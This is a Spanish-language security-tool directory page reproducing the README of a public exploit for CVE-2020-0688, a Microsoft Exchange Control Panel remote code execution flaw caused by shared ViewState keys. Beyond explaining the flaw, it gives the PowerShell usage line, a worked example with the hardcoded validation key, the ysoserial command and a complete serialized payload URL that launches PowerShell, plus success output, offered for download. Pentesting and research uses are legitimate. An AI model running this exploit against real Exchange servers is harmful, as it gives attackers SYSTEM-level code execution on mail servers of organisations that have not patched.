Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/mrtiz/cve-2020-0688
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónDesarrollo de Payloads
GitHubmrtiz/cve-2020-0688

CVE-2020-0688

Ejecución remota de código en Microsoft Exchange Server mediante claves criptográficas fijas

Ver Repositorio
215hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-0688

Existe una vulnerabilidad de ejecución remota de código en Microsoft Exchange Server cuando el servidor no logra crear claves únicas correctamente en el momento de la instalación.

El conocimiento de la clave de validación permite que un usuario autenticado con buzón de correo pase objetos arbitrarios para que sean deserializados por la aplicación web, la cual se ejecuta como SYSTEM.

Acerca de la vulnerabilidad

El fallo se encuentra en el componente Exchange Control Panel (ECP). La naturaleza del fallo es bastante simple. En lugar de tener claves generadas aleatoriamente por instalación, todas las instalaciones de Microsoft Exchange Server tienen los mismos valores de validationKey y decryptionKey en web.config. Estas claves se utilizan para proporcionar seguridad a ViewState. ViewState son datos del lado del servidor que las aplicaciones web ASP.NET almacenan en formato serializado en el cliente. El cliente proporciona estos datos de vuelta al servidor mediante el parámetro de solicitud __VIEWSTATE.

Debido al uso de claves estáticas, un atacante autenticado puede engañar al servidor para que deserialice datos ViewState manipulados maliciosamente. Con la ayuda de YSoSerial.net, un atacante puede ejecutar código .NET arbitrario en el servidor en el contexto de la aplicación web Exchange Control Panel, la cual se ejecuta como SYSTEM. (Fuente)

Comenzando

Gracias a estas instrucciones, puedes obtener una copia del proyecto y ponerla en marcha en tu máquina local para fines de desarrollo y pruebas.

Requisitos previos

  • PowerShell

Instalación

root@kitploit:~
git clone https://github.com/MrTiz/CVE-2020-0688.git

Uso

root@kitploit:~
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url <url> -Username <username> -Password <password> -Command <command> -YsoserialPath <ysoserialpath>

Ejemplo

root@kitploit:~
PowerShell.exe -ExecutionPolicy Bypass -File .\CVE-2020-0688.ps1 -Url 'https://localhost' -Username 'domain\username' -Password 'REDACTED' -Command 'powershell whoami > C:/whoami.txt' -YsoserialPath 'C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe'

[*] Start to exploit...
[+] Login url: https://localhost:443/owa/auth.owa
[*] Status code: 200
[+] Login successfully!
[*] Tring to get __VIEWSTATEGENERATOR...
[+] Done! __VIEWSTATEGENERATOR: B97B4E27
[*] Tring to get ASP.NET_SessionId...
[+] Done! ASP.NET_SessionId: 624abfff-85b6-4357-be8c-18a931cad256

C:\Users\User\Desktop\CVE-2020-0688\ysoserial\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell whoami > C:/whoami.txt" --validationalg="SHA1" --validationkey="CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF" --generator="B97B4E27" --viewstateuserkey="624abfff-85b6-4357-be8c-18a931cad256" --islegacy --isdebug

[+] Exp url: https://localhost:443/ecp/default.aspx?__VIEWSTATEGENERATOR=B97B4E27&__VIEWSTATE=%2FwEyywYAAQAAAP%2F%2F%2F%2F8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADtBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI%2BDQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IiIgT2JqZWN0VHlwZSA9ICJ7IHg6VHlwZSBEaWFnOlByb2Nlc3N9IiBNZXRob2ROYW1lID0gIlN0YXJ0IiA%2BDQogICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BcG93ZXJzaGVsbDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc%2BIndob2FtaSAmZ3Q7IEM6L3dob2FtaS50eHQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgviru9bDCgMPT0snH0s0u%2BA6J37Fg%3D%3D

[*] Auto trigger payload...
[+] Status code: 500, Maybe success!

Contribuciones

Las contribuciones son lo que hacen de la comunidad de código abierto un buen lugar para aprender, inspirar y crear. Cualquier contribución que puedas aportar será muy apreciada.

  1. Haz un fork del Proyecto
  2. Crea tu Rama de Funcionalidad (git checkout -b feature/AmazingFeature)
  3. Haz commit de tus Cambios (git commit -m 'Add some AmazingFeature')
  4. Haz push a la Rama (git push origin feature/AmazingFeature)
  5. Abre una Pull Request

Autores

  • Tiziano Marra

Aviso legal

Este exploit fue desarrollado y publicado únicamente con fines educativos y de investigación. El autor no asume ninguna responsabilidad por cualquier uso ilegal. Úsalo bajo tu propio riesgo y solo contra sistemas para los cuales estés autorizado a probarlo.

Licencia

License: GPL v3

Este proyecto está licenciado bajo la Licencia Pública General de GNU v3.0 - consulta el archivo LICENSE para más detalles.

Descargar herramienta